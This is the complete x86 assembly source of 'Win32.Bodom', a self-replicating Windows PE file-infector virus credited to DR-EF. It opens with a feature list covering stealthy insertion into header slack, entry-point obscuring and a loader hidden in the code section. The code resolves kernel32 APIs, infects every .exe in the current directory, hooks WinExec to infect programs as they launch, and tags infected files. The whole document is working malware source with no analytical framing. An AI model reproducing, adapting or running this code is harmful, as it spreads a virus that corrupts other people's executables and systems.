; Win32.Bodom by DR-EF (c) 2004 ; ----------------------------- ;Author:DR-EF ;Type:Per Process Resident/Direct Action PE infector ;Size:about 1700 bytes ;Features: ;--------- ; 1)virus body is placed between the end of ; headers and the first section body,so ; it dont increase file size ; 2)E.P.O - virus dont modifly entry point ; instead it overwrite the host entry ; point with code that jump to loader ; 3)dont change section flags,instead it ; place loader at the aligned space of the ; code section,this loader allocate memory ; and copy the virus body to there,and run ; it from the allocated memory ; 4)Per Process residenty - the virus hook the ; WinExec api,and infect files when this api ; is called,it infect the currect directory ; as well ; ; ; DR-EF. extrn ExitProcess:proc .586 .model flat DEBUG equ 0 VirusSize equ (VirusEnd-VirusStart) .data db ? .code _main: ;first generation init code: mov eax,VirusSize mov ebx,SizeOfLoaderCode xor ebp,ebp mov dword ptr [ebp + HostEntryPoint_of],offset Exit mov edi,offset HostEntryPointBytes mov esi,offset Exit mov ecx,SizeOfJumpCode rep movsb VirusStart equ $ call Delta Delta: pop ebp sub ebp,offset Delta mov eax,dword ptr [esp] xor ax,ax mov ebx,eax @NextP: cmp word ptr [eax],"ZM" ;check mz sign jne MoveNP mov ebx,eax add eax,[eax + 3ch] cmp word ptr [eax],"EP" ;check pe sign je kernelF MoveNP: xchg eax,ebx sub eax,1000h jmp @NextP ;move to next page kernelF:xchg eax,ebx push eax SearchGetProcAddress: add eax,[eax + 3ch] mov eax,[eax + 78h] add eax,[esp] push eax ;eax - kernel32 export table xor edx,edx mov eax,[eax + 20h] add eax,[esp + 4h] mov edi,[eax] add edi,[esp + 4h] ;edi - api names array dec edi nxt_cmp:inc edi lea esi,[ebp + _GetProcAddress] mov ecx,0eh rep cmpsb je search_address inc edx nxt_l: cmp byte ptr [edi],0h je nxt_cmp inc edi jmp nxt_l search_address: pop eax ;eax - kernel32 export table shl edx,1h ;edx - GetProcAddress position mov ebx,[eax + 24h] add ebx,[esp] add ebx,edx mov dx,word ptr [ebx] shl edx,2h mov ebx,[eax + 1ch] add ebx,[esp] add ebx,edx mov ebx,[ebx] add ebx,[esp] mov [ebp + __GetProcAddress],ebx mov ecx,NumberOfApis ;ecx - number of apis lea eax,[ebp + ApiNamesTable] ;eax - address to api strings lea ebx,[ebp + ApiAddressTable] ;ebx - address to api address pop edx ;edx - module handle NextAPI:push ecx push edx push eax push eax push edx call [ebp + __GetProcAddress] mov dword ptr [ebx],eax pop eax NextSTR:inc eax cmp byte ptr [eax],0h jne NextSTR inc eax add ebx,4h pop edx pop ecx loop NextAPI lea eax,[ebp + WIN32_FIND_DATA] push eax call _FindF db "*.exe",0 _FindF: call [ebp + FindFirstFile] cmp eax,INVALID_HANDLE_VALUE je Hook mov [ebp + hfind],eax @Find: lea ebx,[ebp + cFileName] call InfectFile lea eax,[ebp + WIN32_FIND_DATA] push eax push dword ptr [ebp + hfind] call [ebp + FindNextFile] or eax,eax jnz @Find Hook: ;hook the WinExec api mov eax,400000h ;host image base HostImageBase equ ($-VirusStart-4) lea ebx,[ebp + dll] lea ecx,[ebp + fn] lea edx,[ebp + WinExecHook] call HookApi mov [ebp + WinExec_],eax ReturnToHost: mov edi,12345678h HostEntryPoint_of equ ($-4) HostEntryPoint_ equ ($-VirusStart-4) push edi call dummy HostEntryPoint dd 0 dummy: push PAGE_EXECUTE_READWRITE push 1000h push edi call [ebp + VirtualProtect] mov ecx,SizeOfJumpCode lea esi,[ebp + HostEntryPointBytes] rep movsb ret db "[Win32.Bodom] Written By DR-EF (c) 2004" ;input: ;eax - image base ;ebx - dll name ;ecx - function name ;edx - hook procedure ;output ;eax - new function address or 0 if fail HookApi: cmp word ptr [eax],"ZM" ;check mz sign jne HookErr push eax ;save image base in the stack add eax,[eax + 3ch] ;goto pe header add eax,80h mov eax,[eax] ;get import section rva cmp eax,0h je HookErr_ add eax,[esp] ;convert it to va @Dll: mov esi,[eax + 0ch] cmp esi,0h je HookErr_ add esi,[esp] ;esi - dll name ;compare the dll name in [esi],with our dll: pushad xchg edi,ebx xor ecx,ecx @Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size je _Size inc ecx jmp @Gsize _Size: rep cmpsb je _dll popad add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure jmp @Dll _dll: popad ;edx - Hook procedure ;ecx - function to hook ;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll ;[esp] - image base mov ebx,[eax] ;get rva to pointers to image import by name structures add ebx,[esp] ;convert it to va xor edi,edi ;used to save loop index @FindApi: ;ebx - pointer to pointers arrary of import by name structures push edi ;save loop index push ebx ;save pointer to import by name structures push eax ;save import section rva push ecx ;save function to hook name push edx ;save hook procedure ;-------------------------------------------------------------------- mov esi,[ebx] ;get import by name structure rva add esi,[esp + 14h] ;convert it to va add esi,2h ;skip the IBN_Hint ;compare api string with our api name: mov edi,ecx ;move our api name into edi xor ecx,ecx ;used to save our api name size @GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ? je ___Size inc ecx jmp @GSize_ ___Size:inc ecx ;include the 0 rep cmpsb ;compare api names je ApiFound ;we found it ! ;-------------------------------------------------------------------- ;restore everthing pop edx pop ecx pop eax pop ebx pop edi add edi,4h add ebx,4h ;move to next pointer cmp dword ptr [ebx],0h ;no more pointers ??? jne @FindApi HookErr_: pop eax HookErr:xor eax,eax ret ApiFound: pop edx pop ecx pop eax pop ebx pop edi mov esi,[eax + 10h] ;rva to name add esi,[esp] add esi,edi ;goto our api address mov eax,[esi] ;get our api old address mov [esi],edx ;hook it ! pop esi ;restore stack ret WinExecHook: IF DEBUG int 3 ENDIF pushad pushfd call HookD HookD: pop ebp sub ebp,offset HookD mov ebx,[esp + 28h] call InfectFile popfd popad push ebp call Hook_D Hook_D: pop ebp sub ebp,offset Hook_D xchg eax,ebp pop ebp jmp dword ptr [eax + WinExec_] WinExec_ dd 0 dll db "KERNEL32.dll",0 fn db "WinExec",0 hfind dd 0 INVALID_HANDLE_VALUE equ -1 WIN32_FIND_DATA: dwFileAttributes dd 0 ftCreationTime dq 0 ftLastAccessTime dq 0 ftLastWriteTime dq 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 0ffh dup (0) cAlternateFileName db 14h dup (0) ;ebx - file name InfectFile: xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push ebx call [ebp + CreateFile] inc eax je ExitInfect dec eax mov dword ptr [ebp + hfile],eax xor eax,eax push eax push eax push eax push PAGE_READWRITE push eax push dword ptr [ebp + hfile] call [ebp + CreateFileMapping] or eax,eax je ExitCloseFile mov dword ptr [ebp + hmap],eax xor eax,eax push eax push eax push eax push FILE_MAP_WRITE push dword ptr [ebp + hmap] call [ebp + MapViewOfFile] or eax,eax je ExitCloseMap mov dword ptr [ebp + mapbase],eax cmp word ptr [eax],"ZM" ;check mz sign jne ExitUnmap add eax,[eax + 3ch] cmp word ptr [eax],"EP" ;check pe sign jne ExitUnmap cmp byte ptr [eax + 0bh],29h ;check if already infected je ExitUnmap push eax ;save pe header offset in the stack xor ecx,ecx mov cx,[eax + 6h] ;get number of sections mov ebx,[eax + 34h] ;get image base mov dword ptr [ebp + VirusEntryPoint],ebx mov dword ptr [ebp + LoaderEntryPoint],ebx mov dword ptr [ebp + HostEntryPoint],ebx mov ebx,[eax + 28h] add dword ptr [ebp + HostEntryPoint],ebx mov ebx,[eax + 74h] shl ebx,3h add eax,ebx add eax,78h ;eax -first section header mov ebx,[eax + 0ch] ;get virtual address cmp ebx,[eax + 14h] jne Exit__ ;dont infect file push eax @GetLS: add eax,28h loop @GetLS sub eax,[ebp + mapbase] ;get end of headers(pe & sections),in file pop ebx mov ecx,[ebx + 14h] ;get pointer to raw data of the first section sub ecx,eax cmp ecx,VirusSize ;there enough space ? jb Exit__ mov edi,eax add edi,[ebp + mapbase] push edi push edi sub edi,[ebp + mapbase] add dword ptr [ebp + VirusEntryPoint],edi ;save virus entry point mov edx,[esp] ;get pe header offset mov eax,[ebx + 10h] ;get size of raw data sub eax,[ebx + 8h] ;get aligned space size cmp eax,SizeOfLoaderCode jb Exit__ mov edi,[ebx + 14h] ;get pointer to raw data add edi,[ebx + 8h] ;goto alinged space add dword ptr [ebp + LoaderEntryPoint],edi add edi,[ebp + mapbase] lea esi,[ebp + Loader_Code] mov ecx,SizeOfLoaderCode rep movsb ;copy the loader into the host lea edi,[ebp + JumpCode] xor ecx,ecx mov cx,word ptr [ebp + push_and_ret+4] mov byte ptr [edi],68h mov dword ptr [edi + 1h],ecx add edi,5h mov ecx,dword ptr [ebp + push_and_ret] mov byte ptr [edi],68h mov dword ptr [edi +1h],ecx pop edi push edi lea esi,[ebp + VirusStart] mov ecx,VirusSize rep movsb ;copy the virus into host ;patch the return to host address pop edi push dword ptr [ebp + HostEntryPoint] pop dword ptr [edi + HostEntryPoint_] mov esi,dword ptr [esp + 4h] ;get pe header push dword ptr [esi + 34h] ;push image base pop dword ptr [edi + HostImageBase] ;save image base in the virus body mov esi,dword ptr [esi + 28h] ;get entry point add esi,[ebp + mapbase] pop edi push esi add edi,(HostEntryPointBytes - VirusStart) mov ecx,SizeOfJumpCode rep movsb ;save host entry point bytes pop edi lea esi,[ebp + JumpCode] mov ecx,SizeOfJumpCode rep movsb ;overwrite host entry point with jumper code Exit__: pop eax ;restore pe header mov byte ptr [eax + 0bh],29h ;sign the file as infected ExitUnmap: push dword ptr [ebp + mapbase] call [ebp + UnmapViewOfFile] ExitCloseMap: push dword ptr [ebp + hmap] call [ebp + CloseHandle] ExitCloseFile: push dword ptr [ebp + hfile] call [ebp + CloseHandle] ExitInfect: ret hfile dd 0 hmap dd 0 mapbase dd 0 push_and_ret: db 68h LoaderEntryPoint dd 0 db 0c3h JumpCode: db 0ah dup (0) push esp xor eax,eax push dword ptr fs:[eax] mov fs:[eax],esp mov dword ptr [eax],eax SizeOfJumpCode equ ($-JumpCode) HostEntryPointBytes db SizeOfJumpCode dup(0) PAGE_EXECUTE_READWRITE equ 40h FILE_ATTRIBUTE_NORMAL equ 00000080h FILE_MAP_READ equ 00000004h OPEN_EXISTING equ 3 FILE_SHARE_READ equ 00000001h GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h PAGE_READWRITE equ 4h FILE_MAP_WRITE equ 00000002h Loader_Code: ;find VirtualAlloc api,allocate memory,copy virus into memory & run it mov esp,[esp + 8h] pop dword ptr fs:[0] add esp,0ch mov eax,dword ptr [esp] ;get return address xor ax,ax @Find_: cmp word ptr [eax],"ZM" je ___1 sub eax,1000h jmp @Find_ ___1: push eax ;eax - kernel base address add eax,[eax + 3ch] mov eax,[eax + 78h] add eax,[esp] push eax ;eax - kernel32 export table xor edx,edx mov eax,[eax + 20h] add eax,[esp+4h] mov edi,[eax] add edi,[esp+4h] ;edi - api names array dec edi NxtCmp: inc edi call OverVA db "VirtualAlloc",0 OverVA: pop esi mov ecx,0ch rep cmpsb je FindAdd inc edx NXT: cmp byte ptr [edi],0h je NxtCmp inc edi jmp NXT FindAdd:pop eax ;eax - kernel32 export table shl edx,1h ;edx - GetProcAddress position mov ebx,[eax + 24h] add ebx,[esp] add ebx,edx mov dx,word ptr [ebx] shl edx,2h mov ebx,[eax + 1ch] add ebx,[esp] add ebx,edx mov ebx,[ebx] add ebx,[esp] ;ebx - GlobalAlloc address pop eax push PAGE_EXECUTE_READWRITE push 1000h push VirusSize push 0h call ebx ;allocate memory push eax xchg edi,eax mov esi,12345678h VirusEntryPoint equ ($-4) mov ecx,VirusSize rep movsb ret SizeOfLoaderCode equ ($-Loader_Code) _GetProcAddress db "GetProcAddress",0 __GetProcAddress dd 0 ApiNamesTable: _CreateFile db "CreateFileA",0 _CloseHandle db "CloseHandle",0 _CreateFileMapping db "CreateFileMappingA",0 _MapViewOfFile db "MapViewOfFile",0 _UnmapViewOfFile db "UnmapViewOfFile",0 _FindFirstFileA db "FindFirstFileA",0 _FindNextFileA db "FindNextFileA",0 _VirtualProtect db "VirtualProtect",0 ApiAddressTable: CreateFile dd 0 CloseHandle dd 0 CreateFileMapping dd 0 MapViewOfFile dd 0 UnmapViewOfFile dd 0 FindFirstFile dd 0 FindNextFile dd 0 VirtualProtect dd 0 NumberOfApis equ 8 VirusEnd equ $ Exit: push eax call ExitProcess end _main